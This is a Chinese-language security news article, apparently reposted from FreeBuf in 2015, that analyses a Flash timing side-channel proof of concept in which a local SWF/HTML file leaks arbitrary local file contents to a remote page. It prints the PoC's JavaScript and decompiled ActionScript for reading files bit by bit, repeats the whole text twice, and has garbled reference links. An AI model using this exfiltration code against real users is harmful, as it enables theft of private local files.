-
-
技术分析:本地SWF文件可将任意本地文件泄露于互联网
-
发表于: 2015-6-4 22:14 1234
-
新闻链接:c6aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8Y4N6W2j5W2)9J5c8U0j5&6x3e0p5%4i4K6u0W2K9s2c8E0L8l9`.`.
新闻时间:2015-06-04
新闻正文:
Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player 版本不高于7时,本地 SWF 文件可与其它 SWF 文件交互并且可以从任何远程或本地位置加载数据。
原理
在 Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。
Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。
这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。
本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。
POC分析
原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:
1.png
2.png
0xD65后的内容极为html文件的内容。
看了下作者html中的js代码:
/* check the response time of flash */
function ping(cb) {
var l;
window.addEventListener(,message,, l = function(e) {
window.removeEventListener(,message,, l);
//console.log(,got delay ,+e.data.delay)
cb(e.data.delay);
});
document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);
}
/* steal one bit */
function getbit(path, char, mask, cb) {
path = encodeURIComponent(path);
document.getElementById(,div,).innerHTML =
,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&char=,+char+,&mask=,+mask+,">,;
//这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容
//作者将本地的swf文件和html文件合并在一起了,path为文件路径
setTimeout(function() {
ping(function(res) {
setTimeout(function() {
cb(res > 100);//根据延迟得到bit位的值
}, 500);
});
}, 200);
}
/* steal one byte */
function getbyte(path, char, cb) {
var byte = 0;
var mask = 1;
function getbyte_() {
//console.log(,getbyte_ mask=,+mask)
getbit(path, char, mask, function(is_set) {
//根据mask的那一bit为1,决定读取char中的某一bit位
//console.log(,mask=,+mask+, set=,+is_set);
if (is_set) byte |= mask;
if (mask == 0x80) return cb(String.fromCharCode(byte));
mask <<= 1;
getbyte_();
});
/* steal an entire file */
function run() {
var path = document.getElementById(,path,).value;
console.log(,path=,+path)
var i = 0;
var text = ,,;
function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来
getbyte(path, i, function(char) {
console.log(,got char: ,+char)
text += char;
i++;
document.getElementById(,out,).innerText = text;
run_();
});
}
run_();
}
从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:
3.jpg
里面的主要两个函数的代码:
public static function completeHandler(arg1:flash.events.Event):void
{
var loc1:*=0;
if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)
{//该bit位为1则循环,因此会出现延迟
loc1 = flash.utils.getTimer() + 400;
do
{
}
while (flash.utils.getTimer() < loc1);
}
return;
}
public static function main():void
{
Writer.timer = new haxe.Timer(1);
Writer.timer.run = function ():void
{
var loc1:*;
var loc2:*=null;
var loc3:*=undefined as null;
var loc4:*=undefined as null;
if (flash.Lib.current.stage != null)
{
false;
}
if (false)
{
Writer.timer.stop();
loc2 = flash.Lib.current.loaderInfo.parameters;
Writer.path = loc2.path;//文件路径
Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据
Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值
loc3 = new flash.net.URLRequest(Writer.path);
Writer.loader = new flash.net.URLLoader();
Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
}
return;
}
return;
}
Frame中嵌入的html文件的js代码:
<embed id=a src=ping.swf AllowScriptAccess=always>
<script>
window.addEventListener(,message,, function(e) {
var t1 = Date.now();
document.getElementById(,a,).ping();
var t2 = Date.now();
parent.postMessage({delay:t2-t1}, ,*,);//计算网络上的swf文件相应的延迟
});
</script>
作者poc google浏览器下运行效果:
4.jpg
相关资料
[1]:167K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2W2L8s2m8Q4x3X3g2S2k6r3!0T1k6g2)9J5k6h3y4G2L8g2)9J5c8Y4A6Z5i4K6g2X3b7@1&6Q4x3V1k6m8f1K6u0x3b7#2u0Q4x3V1k6r3L8r3q4K6K9q4)9#2k6U0p5H3i4K6u0W2x3q4)9J5c8X3S2W2L8s2m8Q4x3X3g2Z5N6r3#2D9i4K6y4r3j5$3!0F1N6r3g2F1N6q4)9K6c8o6l9H3x3o6l9H3y4o6f1$3i4K6u0W2K9s2c8E0L8l9`.`.
[2]:f6fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2W2L8s2m8Q4x3X3g2S2k6r3!0T1k6g2)9J5k6h3y4G2L8g2)9J5c8Y4A6Z5i4K6g2X3b7@1&6Q4x3V1k6m8f1K6u0x3b7#2u0Q4x3V1k6r3L8r3q4K6K9q4)9#2k6U0p5H3i4K6u0W2x3q4)9J5c8X3S2W2L8s2m8Q4x3X3g2Z5N6r3#2D9i4K6y4r3j5$3!0F1N6r3g2F1N6q4)9K6c8o6l9H3x3o6l9H3y4o6j5J5i4K6u0W2K9s2c8E0L8q4)9J5x3K6p5$3y4o6l9^5x3b7`.`.
[3]: c4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3c8W2i4K6u0W2k6$3!0G2k6$3I4W2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8X3y4Z5M7X3!0E0K9i4g2E0i4K6u0r3K9i4y4K6N6h3g2K6i4K6u0r3k6r3g2@1j5h3W2D9i4K6y4r3K9h3c8Q4x3@1b7@1z5o6M7@1y4K6g2Q4x3U0S2Q4c8e0k6Q4z5e0N6Q4b7e0m8Q4c8e0g2Q4b7e0g2Q4z5o6S2Q4c8e0N6Q4b7V1k6Q4b7V1u0Q4c8e0g2Q4b7e0u0Q4z5e0W2Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0k6Q4z5p5k6Q4z5e0m8Q4c8e0N6Q4b7e0c8Q4b7V1q4Q4c8e0k6Q4z5o6S2Q4z5e0q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0k6Q4z5f1k6Q4b7e0g2Q4c8e0N6Q4z5f1y4Q4z5p5u0Q4x3U0V1`.
[4]be7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3j5i4u0Q4x3X3g2@1K9r3g2B7K9q4)9J5k6h3&6W2N6q4)9J5c8X3k6D9j5i4y4Z5i4K6g2X3d9r3W2Y4e0X3q4T1d9h3q4D9e0%4b7$3i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3X3g2Z5N6r3#2D9i4@1g2r3i4@1u0o6i4K6R3^5i4@1f1#2i4K6S2q4i4K6W2r3i4@1f1@1i4@1u0p5i4K6W2o6i4@1f1^5i4K6R3H3i4K6R3#2i4@1f1%4i4K6W2m8i4K6R3@1M7r3!0U0i4@1g2r3i4@1u0o6i4K6R3&6
[5]:9c8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3j5i4u0Q4x3X3g2@1K9r3g2B7K9q4)9J5k6h3&6W2N6q4)9J5c8X3k6D9j5i4y4Z5i4K6g2X3L8r3!0U0j5h3I4Q4y4h3k6H3L8$3y4Q4x3X3g2*7K9i4m8Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0g2Q4z5p5g2Q4z5f1k6Q4c8e0c8Q4b7V1c8Q4z5f1y4Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0N6Q4z5f1q4Q4z5o6c8H3L8$3x3`. 代码)
[6]:78aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3k6Y4g2D9L8r3c8A6M7$3y4D9L8%4y4#2M7X3g2Q4x3V1j5J5x3o6p5#2i4K6u0r3e0h3q4&6i4K6u0r3x3e0t1J5
*作者:living,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)
新闻时间:2015-06-04
新闻正文:
Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player 版本不高于7时,本地 SWF 文件可与其它 SWF 文件交互并且可以从任何远程或本地位置加载数据。
原理
在 Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。
Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。
这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。
本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。
POC分析
原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:
1.png
2.png
0xD65后的内容极为html文件的内容。
看了下作者html中的js代码:
/* check the response time of flash */
function ping(cb) {
var l;
window.addEventListener(,message,, l = function(e) {
window.removeEventListener(,message,, l);
//console.log(,got delay ,+e.data.delay)
cb(e.data.delay);
});
document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);
}
/* steal one bit */
function getbit(path, char, mask, cb) {
path = encodeURIComponent(path);
document.getElementById(,div,).innerHTML =
,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&char=,+char+,&mask=,+mask+,">,;
//这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容
//作者将本地的swf文件和html文件合并在一起了,path为文件路径
setTimeout(function() {
ping(function(res) {
setTimeout(function() {
cb(res > 100);//根据延迟得到bit位的值
}, 500);
});
}, 200);
}
/* steal one byte */
function getbyte(path, char, cb) {
var byte = 0;
var mask = 1;
function getbyte_() {
//console.log(,getbyte_ mask=,+mask)
getbit(path, char, mask, function(is_set) {
//根据mask的那一bit为1,决定读取char中的某一bit位
//console.log(,mask=,+mask+, set=,+is_set);
if (is_set) byte |= mask;
if (mask == 0x80) return cb(String.fromCharCode(byte));
mask <<= 1;
getbyte_();
});
/* steal an entire file */
function run() {
var path = document.getElementById(,path,).value;
console.log(,path=,+path)
var i = 0;
var text = ,,;
function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来
getbyte(path, i, function(char) {
console.log(,got char: ,+char)
text += char;
i++;
document.getElementById(,out,).innerText = text;
run_();
});
}
run_();
}
从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:
3.jpg
里面的主要两个函数的代码:
public static function completeHandler(arg1:flash.events.Event):void
{
var loc1:*=0;
if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)
{//该bit位为1则循环,因此会出现延迟
loc1 = flash.utils.getTimer() + 400;
do
{
}
while (flash.utils.getTimer() < loc1);
}
return;
}
public static function main():void
{
Writer.timer = new haxe.Timer(1);
Writer.timer.run = function ():void
{
var loc1:*;
var loc2:*=null;
var loc3:*=undefined as null;
var loc4:*=undefined as null;
if (flash.Lib.current.stage != null)
{
false;
}
if (false)
{
Writer.timer.stop();
loc2 = flash.Lib.current.loaderInfo.parameters;
Writer.path = loc2.path;//文件路径
Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据
Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值
loc3 = new flash.net.URLRequest(Writer.path);
Writer.loader = new flash.net.URLLoader();
Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
}
return;
}
return;
}
Frame中嵌入的html文件的js代码:
<embed id=a src=ping.swf AllowScriptAccess=always>
<script>
window.addEventListener(,message,, function(e) {
var t1 = Date.now();
document.getElementById(,a,).ping();
var t2 = Date.now();
parent.postMessage({delay:t2-t1}, ,*,);//计算网络上的swf文件相应的延迟
});
</script>
作者poc google浏览器下运行效果:
4.jpg
相关资料
[1]:167K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2W2L8s2m8Q4x3X3g2S2k6r3!0T1k6g2)9J5k6h3y4G2L8g2)9J5c8Y4A6Z5i4K6g2X3b7@1&6Q4x3V1k6m8f1K6u0x3b7#2u0Q4x3V1k6r3L8r3q4K6K9q4)9#2k6U0p5H3i4K6u0W2x3q4)9J5c8X3S2W2L8s2m8Q4x3X3g2Z5N6r3#2D9i4K6y4r3j5$3!0F1N6r3g2F1N6q4)9K6c8o6l9H3x3o6l9H3y4o6f1$3i4K6u0W2K9s2c8E0L8l9`.`.
[2]:f6fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2W2L8s2m8Q4x3X3g2S2k6r3!0T1k6g2)9J5k6h3y4G2L8g2)9J5c8Y4A6Z5i4K6g2X3b7@1&6Q4x3V1k6m8f1K6u0x3b7#2u0Q4x3V1k6r3L8r3q4K6K9q4)9#2k6U0p5H3i4K6u0W2x3q4)9J5c8X3S2W2L8s2m8Q4x3X3g2Z5N6r3#2D9i4K6y4r3j5$3!0F1N6r3g2F1N6q4)9K6c8o6l9H3x3o6l9H3y4o6j5J5i4K6u0W2K9s2c8E0L8q4)9J5x3K6p5$3y4o6l9^5x3b7`.`.
[3]: c4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3c8W2i4K6u0W2k6$3!0G2k6$3I4W2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8X3y4Z5M7X3!0E0K9i4g2E0i4K6u0r3K9i4y4K6N6h3g2K6i4K6u0r3k6r3g2@1j5h3W2D9i4K6y4r3K9h3c8Q4x3@1b7@1z5o6M7@1y4K6g2Q4x3U0S2Q4c8e0k6Q4z5e0N6Q4b7e0m8Q4c8e0g2Q4b7e0g2Q4z5o6S2Q4c8e0N6Q4b7V1k6Q4b7V1u0Q4c8e0g2Q4b7e0u0Q4z5e0W2Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0k6Q4z5p5k6Q4z5e0m8Q4c8e0N6Q4b7e0c8Q4b7V1q4Q4c8e0k6Q4z5o6S2Q4z5e0q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0k6Q4z5f1k6Q4b7e0g2Q4c8e0N6Q4z5f1y4Q4z5p5u0Q4x3U0V1`.
[4]be7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3j5i4u0Q4x3X3g2@1K9r3g2B7K9q4)9J5k6h3&6W2N6q4)9J5c8X3k6D9j5i4y4Z5i4K6g2X3d9r3W2Y4e0X3q4T1d9h3q4D9e0%4b7$3i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3X3g2Z5N6r3#2D9i4@1g2r3i4@1u0o6i4K6R3^5i4@1f1#2i4K6S2q4i4K6W2r3i4@1f1@1i4@1u0p5i4K6W2o6i4@1f1^5i4K6R3H3i4K6R3#2i4@1f1%4i4K6W2m8i4K6R3@1M7r3!0U0i4@1g2r3i4@1u0o6i4K6R3&6
[5]:9c8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3j5i4u0Q4x3X3g2@1K9r3g2B7K9q4)9J5k6h3&6W2N6q4)9J5c8X3k6D9j5i4y4Z5i4K6g2X3L8r3!0U0j5h3I4Q4y4h3k6H3L8$3y4Q4x3X3g2*7K9i4m8Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0g2Q4z5p5g2Q4z5f1k6Q4c8e0c8Q4b7V1c8Q4z5f1y4Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0N6Q4z5f1q4Q4z5o6c8H3L8$3x3`. 代码)
[6]:78aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3k6Y4g2D9L8r3c8A6M7$3y4D9L8%4y4#2M7X3g2Q4x3V1j5J5x3o6p5#2i4K6u0r3e0h3q4&6i4K6u0r3x3e0t1J5
*作者:living,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)
赞赏
赞赏
雪币:
留言: